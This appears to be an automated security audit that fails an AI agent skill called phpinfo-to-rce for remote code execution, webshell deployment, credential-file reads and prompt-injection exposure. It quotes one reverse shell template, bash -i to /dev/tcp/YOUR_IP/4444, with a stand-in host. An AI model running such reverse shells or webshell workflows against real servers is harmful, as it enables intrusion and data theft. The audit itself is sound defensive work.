phpinfo-to-rce

Fail

Audited by Gen Agent Trust Hub on Oct 12, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides an automated workflow to gain remote code execution on web servers by analyzing phpinfo() output for disabled functions and identifying upload vectors like WordPress XML-RPC or contact forms.
  • [DATA_EXFILTRATION]: Instructions include commands to access sensitive system files such as /etc/passwd and provide templates for establishing reverse shell connections (e.g., bash -i >& /dev/tcp/YOUR_IP/4444).
  • [COMMAND_EXECUTION]: The skill executes various network and system commands (curl, grep, sed) using targets and parameters derived from external input, which are interpolated directly into shell strings.
  • [DYNAMIC_EXECUTION]: The skill dynamically generates a PHP-based webshell payload (/tmp/ws.php) intended for unauthorized deployment and execution on remote systems.
  • [INDIRECT_PROMPT_INJECTION]: The skill processes untrusted content from remote web servers (responses from curl) and uses this data to drive subsequent logic and command generation without sanitization.
  • Ingestion points: Data fetched from target URLs via curl in SKILL.md.
  • Boundary markers: Absent. The data is processed directly via shell pipelines.
  • Capability inventory: Shell command execution, network requests via curl, and local file writing.
  • Sanitization: Absent. The skill relies on regular expressions to extract data which is then used in conditional logic and command execution.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Oct 12, 2026, 06:54 PM